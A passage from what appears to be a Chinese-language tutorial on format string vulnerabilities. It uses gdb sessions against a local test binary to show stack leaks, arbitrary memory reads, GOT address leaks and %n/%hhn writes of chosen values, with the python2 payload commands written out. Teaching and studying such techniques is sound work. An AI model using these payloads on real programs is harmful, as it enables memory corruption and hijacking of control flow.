+0xffffd590:     0x70252e70      0x2e70252e      0x252e7025      0x70252e70
+gdb-peda$ x/20wb 0xffffd584
+0xffffd584:     0x41    0x41    0x41    0x41    0x2e    0x25    0x70    0x2e
+0xffffd58c:     0x25    0x70    0x2e    0x25    0x70    0x2e    0x25    0x70
+0xffffd594:     0x2e    0x25    0x70    0x2e
+gdb-peda$ python print('\x2e\x25\x70')
+.%p
+
+

下面是程序运行的结果:

+
gdb-peda$ c
+Continuing.
+AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
+
+

0x41414141 是输出的第 13 个字符,所以我们使用 %13$s 即可读出 0x41414141 处的内容,当然,这里可能是一个不合法的地址。下面我们把 0x41414141 换成我们需要的合法的地址,比如字符串 ABCD 的地址 0xffffd57a

+
$ python2 -c 'print("\x7a\xd5\xff\xff"+".%13$s")' > text
+$ gdb -q a.out
+Reading symbols from a.out...(no debugging symbols found)...done.
+gdb-peda$ b printf
+Breakpoint 1 at 0x8048350
+gdb-peda$ r < text
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 --> 0xffffd57a ("ABCD")
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd54c --> 0x8048520 (<main+138>:      add    esp,0x20)
+EIP: 0xf7e27c20 (<printf>:      call   0xf7f06d17 <__x86.get_pc_thunk.ax>)
+EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0xf7e27c1b <fprintf+27>:     ret
+   0xf7e27c1c:  xchg   ax,ax
+   0xf7e27c1e:  xchg   ax,ax
+=> 0xf7e27c20 <printf>: call   0xf7f06d17 <__x86.get_pc_thunk.ax>
+   0xf7e27c25 <printf+5>:       add    eax,0x16f243
+   0xf7e27c2a <printf+10>:      sub    esp,0xc
+   0xf7e27c2d <printf+13>:      mov    eax,DWORD PTR [eax+0x124]
+   0xf7e27c33 <printf+19>:      lea    edx,[esp+0x14]
+No argument
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd54c --> 0x8048520 (<main+138>:     add    esp,0x20)
+0004| 0xffffd550 --> 0xffffd584 --> 0xffffd57a ("ABCD")
+0008| 0xffffd554 --> 0x1
+0012| 0xffffd558 --> 0x88888888
+0016| 0xffffd55c --> 0xffffffff
+0020| 0xffffd560 --> 0xffffd57a ("ABCD")
+0024| 0xffffd564 --> 0xffffd584 --> 0xffffd57a ("ABCD")
+0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+gdb-peda$ x/20w $esp
+0xffffd54c:     0x08048520      0xffffd584      0x00000001      0x88888888
+0xffffd55c:     0xffffffff      0xffffd57a      0xffffd584      0x080481fc
+0xffffd56c:     0x080484b0      0xf7ffda54      0x00000001      0x424135d0
+0xffffd57c:     0x00004443      0x00000000      0xffffd57a      0x3331252e
+0xffffd58c:     0x00007324      0xffffd5ca      0x00000001      0x000000c2
+gdb-peda$ x/s 0xffffd57a
+0xffffd57a:     "ABCD"
+gdb-peda$ c
+Continuing.
+z���.ABCD
+
+

当然这也没有什么用,我们真正经常用到的地方是,把程序中某函数的 GOT 地址传进去,然后获得该地址所对应的函数的虚拟地址。然后根据函数在 libc 中的相对位置,计算出我们需要的函数地址(如 system())。如下面展示的这样:

+

先看一下重定向表:

+
$ readelf -r a.out
+
+Relocation section '.rel.dyn' at offset 0x2e8 contains 1 entries:
+ Offset     Info    Type            Sym.Value  Sym. Name
+08049ffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__
+
+Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries:
+ Offset     Info    Type            Sym.Value  Sym. Name
+0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
+0804a010  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
+0804a014  00000407 R_386_JUMP_SLOT   00000000   putchar@GLIBC_2.0
+0804a018  00000507 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7
+
+

.rel.plt 中有四个函数可供我们选择,按理说选择任意一个都没有问题,但是在实践中我们会发现一些问题。下面的结果分别是 printf__libc_start_mainputchar__isoc99_scanf

+
$ python2 -c 'print("\x0c\xa0\x04\x08"+".%p"*20)' | ./a.out
+.0x1.0x88888888.0xffffffff.0xffe22cfa.0xffe22d04.0x80481fc.0x80484b0.0xf77afa54.0x1.0x424155d0.0x4443.(nil).0x2e0804a0.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
+$ python2 -c 'print("\x10\xa0\x04\x08"+".%p"*20)' | ./a.out
+.0x1.0x88888888.0xffffffff.0xffd439ba.0xffd439c4.0x80481fc.0x80484b0.0xf77b6a54.0x1.0x4241c5d0.0x4443.(nil).0x804a010.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
+$ python2 -c 'print("\x14\xa0\x04\x08"+".%p"*20)' | ./a.out
+.0x1.0x88888888.0xffffffff.0xffcc17aa.0xffcc17b4.0x80481fc.0x80484b0.0xf7746a54.0x1.0x4241c5d0.0x4443.(nil).0x804a014.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
+$ python2 -c 'print("\x18\xa0\x04\x08"+".%p"*20)' | ./a.out
+▒.0x1.0x88888888.0xffffffff.0xffcb99aa.0xffcb99b4.0x80481fc.0x80484b0.0xf775ca54.0x1.0x424125d0.0x4443.(nil).0x804a018.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e
+
+

细心一点你就会发现第一个(printf)的结果有问题。我们输入了 \x0c\xa0\x04\x080x0804a00c),可是 13 号位置输出的结果却是 0x2e0804a0,那么,\x0c 哪去了,查了一下 ASCII 表:

+
Oct   Dec   Hex   Char
+──────────────────────────────────────
+014   12    0C    FF  '\f' (form feed)
+
+

于是就被省略了,同样会被省略的还有很多,如 \x07('\a')、\x08('\b')、\x20(SPACE)等的不可见字符都会被省略。这就会让我们后续的操作出现问题。所以这里我们选用最后一个(__isoc99_scanf)。

+
$ python2 -c 'print("\x18\xa0\x04\x08"+"%13$s")' > text
+$ gdb -q a.out
+Reading symbols from a.out...(no debugging symbols found)...done.
+gdb-peda$ b printf
+Breakpoint 1 at 0x8048350
+gdb-peda$ r < text
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push   ebp)
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd618 --> 0x0
+ESP: 0xffffd54c --> 0x8048520 (<main+138>:      add    esp,0x20)
+EIP: 0xf7e27c20 (<printf>:      call   0xf7f06d17 <__x86.get_pc_thunk.ax>)
+EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0xf7e27c1b <fprintf+27>:     ret
+   0xf7e27c1c:  xchg   ax,ax
+   0xf7e27c1e:  xchg   ax,ax
+=> 0xf7e27c20 <printf>: call   0xf7f06d17 <__x86.get_pc_thunk.ax>
+   0xf7e27c25 <printf+5>:       add    eax,0x16f243
+   0xf7e27c2a <printf+10>:      sub    esp,0xc
+   0xf7e27c2d <printf+13>:      mov    eax,DWORD PTR [eax+0x124]
+   0xf7e27c33 <printf+19>:      lea    edx,[esp+0x14]
+No argument
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd54c --> 0x8048520 (<main+138>:     add    esp,0x20)
+0004| 0xffffd550 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push   ebp)
+0008| 0xffffd554 --> 0x1
+0012| 0xffffd558 --> 0x88888888
+0016| 0xffffd55c --> 0xffffffff
+0020| 0xffffd560 --> 0xffffd57a ("ABCD")
+0024| 0xffffd564 --> 0xffffd584 --> 0x804a018 --> 0xf7e3a790 (<__isoc99_scanf>: push   ebp)
+0028| 0xffffd568 --> 0x80481fc --> 0x38 ('8')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+gdb-peda$ x/20w $esp
+0xffffd54c:     0x08048520      0xffffd584      0x00000001      0x88888888
+0xffffd55c:     0xffffffff      0xffffd57a      0xffffd584      0x080481fc
+0xffffd56c:     0x080484b0      0xf7ffda54      0x00000001      0x424135d0
+0xffffd57c:     0x00004443      0x00000000      0x0804a018      0x24333125
+0xffffd58c:     0x00f00073      0xffffd5ca      0x00000001      0x000000c2
+gdb-peda$ x/w 0x804a018
+0x804a018:      0xf7e3a790
+gdb-peda$ c
+Continuing.
+▒����
+
+

虽然我们可以通过 x/w 指令得到 __isoc99_scanf 函数的虚拟地址 0xf7e3a790。但是由于 0x804a018 处的内容是仍然一个指针,使用 %13$s 打印并不成功。在下面的内容中将会介绍怎样借助 pwntools 的力量,来获得正确格式的虚拟地址,并能够对它有进一步的利用。

+

当然并非总能通过使用 4 字节的跳转(如 AAAA)来步进参数指针去引用格式字符串的起始部分,有时,需要在格式字符串之前加一个、两个或三个字符的前缀来实现一系列的 4 字节跳转。

+

覆盖栈内容

+

现在我们已经可以读取栈上和任意地址的内存了,接下来我们更进一步,通过修改栈和内存来劫持程序的执行流程。%n 转换指示符将 %n 当前已经成功写入流或缓冲区中的字符个数存储到地址由参数指定的整数中。

+
#include<stdio.h>
+void main() {
+    int i;
+    char str[] = "hello";
+
+    printf("%s %n\n", str, &i);
+    printf("%d\n", i);
+}
+$ ./a.out
+hello
+6
+
+

i 被赋值为 6,因为在遇到转换指示符之前一共写入了 6 个字符(hello 加上一个空格)。在没有长度修饰符时,默认写入一个 int 类型的值。

+

通常情况下,我们要需要覆写的值是一个 shellcode 的地址,而这个地址往往是一个很大的数字。这时我们就需要通过使用具体的宽度或精度的转换规范来控制写入的字符个数,即在格式字符串中加上一个十进制整数来表示输出的最小位数,如果实际位数大于定义的宽度,则按实际位数输出,反之则以空格或 0 补齐(0 补齐时在宽度前加点.0)。如:

+
#include<stdio.h>
+void main() {
+    int i;
+
+    printf("%10u%n\n", 1, &i);
+    printf("%d\n", i);
+    printf("%.50u%n\n", 1, &i);
+    printf("%d\n", i);
+    printf("%0100u%n\n", 1, &i);
+    printf("%d\n", i);
+}
+$ ./a.out
+         1
+10
+00000000000000000000000000000000000000000000000001
+50
+0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
+100
+
+

就是这样,下面我们把地址 0x8048000 写入内存:

+
printf("%0134512640d%n\n", 1, &i);
+$ ./a.out
+...
+0x8048000
+
+

还是我们一开始的程序,我们尝试将 arg2 的值更改为任意值(比如 0x00000020,十进制 32),在 gdb 中可以看到得到 arg2 的地址 0xffffd538,那么我们构造格式字符串 \x38\xd5\xff\xff%08x%08x%012d%13$n,其中 \x38\xd5\xff\xff 表示 arg2 的地址,占 4 字节,%08x%08x 表示两个 8 字符宽的十六进制数,占 16 字节,%012d 占 12 字节,三个部分加起来就占了 4+16+12=32 字节,即把 arg2 赋值为 0x00000020。格式字符串最后一部分 %13$n 也是最重要的一部分,和上面的内容一样,表示格式字符串的第 13 个参数,即写入 0xffffd538 的地方(0xffffd564),printf() 就是通过这个地址找到被覆盖的内容的:

+
$ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text
+$ gdb -q a.out
+Reading symbols from a.out...(no debugging symbols found)...done.
+gdb-peda$ b printf  
+Breakpoint 1 at 0x8048350
+gdb-peda$ r < text  
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd52c --> 0x8048520 (<main+138>:      add    esp,0x20)
+EIP: 0xf7e27c20 (<printf>:      call   0xf7f06d17 <__x86.get_pc_thunk.ax>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0xf7e27c1b <fprintf+27>:     ret
+   0xf7e27c1c:  xchg   ax,ax
+   0xf7e27c1e:  xchg   ax,ax
+=> 0xf7e27c20 <printf>: call   0xf7f06d17 <__x86.get_pc_thunk.ax>
+   0xf7e27c25 <printf+5>:       add    eax,0x16f243
+   0xf7e27c2a <printf+10>:      sub    esp,0xc
+   0xf7e27c2d <printf+13>:      mov    eax,DWORD PTR [eax+0x124]
+   0xf7e27c33 <printf+19>:      lea    edx,[esp+0x14]
+No argument
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd52c --> 0x8048520 (<main+138>:     add    esp,0x20)
+0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
+0008| 0xffffd534 --> 0x1
+0012| 0xffffd538 --> 0x88888888
+0016| 0xffffd53c --> 0xffffffff
+0020| 0xffffd540 --> 0xffffd55a ("ABCD")
+0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
+0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+gdb-peda$ x/20x $esp
+0xffffd52c:     0x08048520      0xffffd564      0x00000001      0x88888888
+0xffffd53c:     0xffffffff      0xffffd55a      0xffffd564      0x080481fc
+0xffffd54c:     0x080484b0      0xf7ffda54      0x00000001      0x424135d0
+0xffffd55c:     0x00004443      0x00000000      0xffffd538      0x78383025
+0xffffd56c:     0x78383025      0x32313025      0x33312564      0x00006e24
+gdb-peda$ finish
+Run till exit from #0  0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+[----------------------------------registers-----------------------------------]
+EAX: 0x20 (' ')
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x0
+EDX: 0xf7f98830 --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
+EIP: 0x8048520 (<main+138>:     add    esp,0x20)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x8048514 <main+126>:        lea    eax,[ebp-0x94]
+   0x804851a <main+132>:        push   eax
+   0x804851b <main+133>:        call   0x8048350 <printf@plt>
+=> 0x8048520 <main+138>:        add    esp,0x20
+   0x8048523 <main+141>:        sub    esp,0xc
+   0x8048526 <main+144>:        push   0xa
+   0x8048528 <main+146>:        call   0x8048370 <putchar@plt>
+   0x804852d <main+151>:        add    esp,0x10
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
+0004| 0xffffd534 --> 0x1
+0008| 0xffffd538 --> 0x20 (' ')
+0012| 0xffffd53c --> 0xffffffff
+0016| 0xffffd540 --> 0xffffd55a ("ABCD")
+0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
+0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+0028| 0xffffd54c --> 0x80484b0 (<main+26>:      add    ebx,0x1b50)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x08048520 in main ()
+gdb-peda$ x/20x $esp
+0xffffd530:     0xffffd564      0x00000001      0x00000020      0xffffffff
+0xffffd540:     0xffffd55a      0xffffd564      0x080481fc      0x080484b0
+0xffffd550:     0xf7ffda54      0x00000001      0x424135d0      0x00004443
+0xffffd560:     0x00000000      0xffffd538      0x78383025      0x78383025
+0xffffd570:     0x32313025      0x33312564      0x00006e24      0xf7e70240
+
+

对比 printf() 函数执行前后的输出,printf 首先解析 %13$n 找到获得地址 0xffffd564 的值 0xffffd538,然后跳转到地址 0xffffd538,将它的值 0x88888888 覆盖为 0x00000020,就得到 arg2=0x00000020

+

覆盖任意地址内存

+

也许已经有人发现了一个问题,使用上面覆盖内存的方法,值最小只能是 4,因为单单地址就占去了 4 个字节。那么我们怎样覆盖比 4 小的值呢。利用整数溢出是一个方法,但是在实践中这样做基本都不会成功。再想一下,前面的输入中,地址都位于格式字符串之前,这样做真的有必要吗,能否将地址放在中间。我们来试一下,使用格式字符串 "AA%15$nA"+"\x38\xd5\xff\xff",开头的 AA 占两个字节,即将地址赋值为 2,中间是 %15$n 占 5 个字节,这里不是 %13$n,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 A 占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度,这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 \x38\xd5\xff\xff,详细输出如下:

+
$ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text
+$ gdb -q a.out
+Reading symbols from a.out...(no debugging symbols found)...done.
+gdb-peda$ b printf  
+Breakpoint 1 at 0x8048350
+gdb-peda$ r < text  
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd564 ("AA%15$nA8\325\377\377")
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd52c --> 0x8048520 (<main+138>:      add    esp,0x20)
+EIP: 0xf7e27c20 (<printf>:      call   0xf7f06d17 <__x86.get_pc_thunk.ax>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0xf7e27c1b <fprintf+27>:     ret
+   0xf7e27c1c:  xchg   ax,ax
+   0xf7e27c1e:  xchg   ax,ax
+=> 0xf7e27c20 <printf>: call   0xf7f06d17 <__x86.get_pc_thunk.ax>
+   0xf7e27c25 <printf+5>:       add    eax,0x16f243
+   0xf7e27c2a <printf+10>:      sub    esp,0xc
+   0xf7e27c2d <printf+13>:      mov    eax,DWORD PTR [eax+0x124]
+   0xf7e27c33 <printf+19>:      lea    edx,[esp+0x14]
+No argument
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd52c --> 0x8048520 (<main+138>:     add    esp,0x20)
+0004| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
+0008| 0xffffd534 --> 0x1
+0012| 0xffffd538 --> 0x88888888
+0016| 0xffffd53c --> 0xffffffff
+0020| 0xffffd540 --> 0xffffd55a ("ABCD")
+0024| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377")
+0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+gdb-peda$ x/20x $esp
+0xffffd52c:     0x08048520      0xffffd564      0x00000001      0x88888888
+0xffffd53c:     0xffffffff      0xffffd55a      0xffffd564      0x080481fc
+0xffffd54c:     0x080484b0      0xf7ffda54      0x00000001      0x424135d0
+0xffffd55c:     0x00004443      0x00000000      0x31254141      0x416e2435
+0xffffd56c:     0xffffd538      0xffffd500      0x00000001      0x000000c2
+gdb-peda$ finish
+Run till exit from #0  0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+[----------------------------------registers-----------------------------------]
+EAX: 0x7
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x0
+EDX: 0xf7f98830 --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
+EIP: 0x8048520 (<main+138>:     add    esp,0x20)
+EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0x8048514 <main+126>:        lea    eax,[ebp-0x94]
+   0x804851a <main+132>:        push   eax
+   0x804851b <main+133>:        call   0x8048350 <printf@plt>
+=> 0x8048520 <main+138>:        add    esp,0x20
+   0x8048523 <main+141>:        sub    esp,0xc
+   0x8048526 <main+144>:        push   0xa
+   0x8048528 <main+146>:        call   0x8048370 <putchar@plt>
+   0x804852d <main+151>:        add    esp,0x10
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
+0004| 0xffffd534 --> 0x1
+0008| 0xffffd538 --> 0x2
+0012| 0xffffd53c --> 0xffffffff
+0016| 0xffffd540 --> 0xffffd55a ("ABCD")
+0020| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377")
+0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+0028| 0xffffd54c --> 0x80484b0 (<main+26>:      add    ebx,0x1b50)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x08048520 in main ()
+gdb-peda$ x/20x $esp
+0xffffd530:     0xffffd564      0x00000001      0x00000002      0xffffffff
+0xffffd540:     0xffffd55a      0xffffd564      0x080481fc      0x080484b0
+0xffffd550:     0xf7ffda54      0x00000001      0x424135d0      0x00004443
+0xffffd560:     0x00000000      0x31254141      0x416e2435      0xffffd538
+0xffffd570:     0xffffd500      0x00000001      0x000000c2      0xf7e70240
+
+

对比 printf() 函数执行前后的输出,可以看到我们成功地给 arg2 赋值了 0x00000002

+

说完了数字小于 4 时的覆盖,接下来说说大数字的覆盖。前面的方法教我们直接输入一个地址的十进制就可以进行赋值,可是,这样占用的内存空间太大,往往会覆盖掉其他重要的地址而产生错误。其实我们可以通过长度修饰符来更改写入的值的大小:

+
char c;
+short s;
+int i;
+long l;
+long long ll;
+
+printf("%s %hhn\n", str, &c);       // 写入单字节
+printf("%s %hn\n", str, &s);        // 写入双字节
+printf("%s %n\n", str, &i);         // 写入4字节
+printf("%s %ln\n", str, &l);        // 写入8字节
+printf("%s %lln\n", str, &ll);      // 写入16字节
+
+

试一下:

+
$ python2 -c 'print("A%15$hhn"+"\x38\xd5\xff\xff")' > text
+0xffffd530:     0xffffd564      0x00000001      0x88888801      0xffffffff
+
+$ python2 -c 'print("A%15$hnA"+"\x38\xd5\xff\xff")' > text
+0xffffd530:     0xffffd564      0x00000001      0x88880001      0xffffffff
+
+$ python2 -c 'print("A%15$nAA"+"\x38\xd5\xff\xff")' > text
+0xffffd530:     0xffffd564      0x00000001      0x00000001      0xffffffff
+
+

于是,我们就可以逐字节地覆盖,从而大大节省了内存空间。这里我们尝试写入 0x12345678 到地址 0xffffd538,首先使用 AAAABBBBCCCCDDDD 作为输入:

+
gdb-peda$ r
+AAAABBBBCCCCDDDD
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd564 ("AAAABBBBCCCCDDDD")
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd52c --> 0x8048520 (<main+138>:      add    esp,0x20)
+EIP: 0xf7e27c20 (<printf>:      call   0xf7f06d17 <__x86.get_pc_thunk.ax>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0xf7e27c1b <fprintf+27>:     ret
+   0xf7e27c1c:  xchg   ax,ax
+   0xf7e27c1e:  xchg   ax,ax
+=> 0xf7e27c20 <printf>: call   0xf7f06d17 <__x86.get_pc_thunk.ax>
+   0xf7e27c25 <printf+5>:       add    eax,0x16f243
+   0xf7e27c2a <printf+10>:      sub    esp,0xc
+   0xf7e27c2d <printf+13>:      mov    eax,DWORD PTR [eax+0x124]
+   0xf7e27c33 <printf+19>:      lea    edx,[esp+0x14]
+No argument
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd52c --> 0x8048520 (<main+138>:     add    esp,0x20)
+0004| 0xffffd530 --> 0xffffd564 ("AAAABBBBCCCCDDDD")
+0008| 0xffffd534 --> 0x1
+0012| 0xffffd538 --> 0x88888888
+0016| 0xffffd53c --> 0xffffffff
+0020| 0xffffd540 --> 0xffffd55a ("ABCD")
+0024| 0xffffd544 --> 0xffffd564 ("AAAABBBBCCCCDDDD")
+0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+gdb-peda$ x/20x $esp
+0xffffd52c:     0x08048520      0xffffd564      0x00000001      0x88888888
+0xffffd53c:     0xffffffff      0xffffd55a      0xffffd564      0x080481fc
+0xffffd54c:     0x080484b0      0xf7ffda54      0x00000001      0x424135d0
+0xffffd55c:     0x00004443      0x00000000      0x41414141      0x42424242
+0xffffd56c:     0x43434343      0x44444444      0x00000000      0x000000c2
+gdb-peda$ x/4wb 0xffffd538
+0xffffd538:     0x88    0x88    0x88    0x88
+
+

由于我们想要逐字节覆盖,就需要 4 个用于跳转的地址,4 个写入地址和 4 个值,对应关系如下(小端序):

+
0xffffd564 -> 0x41414141 (0xffffd538) -> \x78
+0xffffd568 -> 0x42424242 (0xffffd539) -> \x56
+0xffffd56c -> 0x43434343 (0xffffd53a) -> \x34
+0xffffd570 -> 0x44444444 (0xffffd53b) -> \x12
+
+

AAAABBBBCCCCDDDD 占据的地址分别替换成括号中的值,再适当使用填充字节使 8 字节对齐就可以了。构造输入如下:

+
$ python2 -c 'print("\x38\xd5\xff\xff"+"\x39\xd5\xff\xff"+"\x3a\xd5\xff\xff"+"\x3b\xd5\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn")' > text
+
+

其中前四个部分是 4 个写入地址,占 4*4=16 字节,后面四个部分分别用于写入十六进制数,由于使用了 hh,所以只会保留一个字节 0x78(16+104=120 -> 0x78)、0x56(120+222=342 -> 0x0156 -> 0x56)、0x34(342+222=564 -> 0x0234 -> 0x34)、0x12(564+222=786 -> 0x312 -> 0x12)。执行结果如下:

+
$ gdb -q a.out
+Reading symbols from a.out...(no debugging symbols found)...done.
+gdb-peda$ b printf  
+Breakpoint 1 at 0x8048350
+gdb-peda$ r < text  
+Starting program: /home/firmy/Desktop/RE4B/a.out < text
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
+ESP: 0xffffd52c --> 0x8048520 (<main+138>:      add    esp,0x20)
+EIP: 0xf7e27c20 (<printf>:      call   0xf7f06d17 <__x86.get_pc_thunk.ax>)
+EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+   0xf7e27c1b <fprintf+27>:     ret
+   0xf7e27c1c:  xchg   ax,ax
+   0xf7e27c1e:  xchg   ax,ax
+=> 0xf7e27c20 <printf>: call   0xf7f06d17 <__x86.get_pc_thunk.ax>
+   0xf7e27c25 <printf+5>:       add    eax,0x16f243
+   0xf7e27c2a <printf+10>:      sub    esp,0xc
+   0xf7e27c2d <printf+13>:      mov    eax,DWORD PTR [eax+0x124]
+   0xf7e27c33 <printf+19>:      lea    edx,[esp+0x14]
+No argument
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd52c --> 0x8048520 (<main+138>:     add    esp,0x20)
+0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
+0008| 0xffffd534 --> 0x1
+0012| 0xffffd538 --> 0x88888888
+0016| 0xffffd53c --> 0xffffffff
+0020| 0xffffd540 --> 0xffffd55a ("ABCD")
+0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
+0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+
+Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+gdb-peda$ x/20x $esp  
+0xffffd52c:     0x08048520      0xffffd564      0x00000001      0x88888888
+0xffffd53c:     0xffffffff      0xffffd55a      0xffffd564      0x080481fc
+0xffffd54c:     0x080484b0      0xf7ffda54      0x00000001      0x424135d0
+0xffffd55c:     0x00004443      0x00000000      0xffffd538      0xffffd539
+0xffffd56c:     0xffffd53a      0xffffd53b      0x34303125      0x33312563
+gdb-peda$ finish
+Run till exit from #0  0xf7e27c20 in printf () from /usr/lib32/libc.so.6
+[----------------------------------registers-----------------------------------]
+EAX: 0x312
+EBX: 0x804a000 --> 0x8049f14 --> 0x1
+ECX: 0x0
+EDX: 0xf7f98830 --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
+EDI: 0x0
+EBP: 0xffffd5f8 --> 0x0
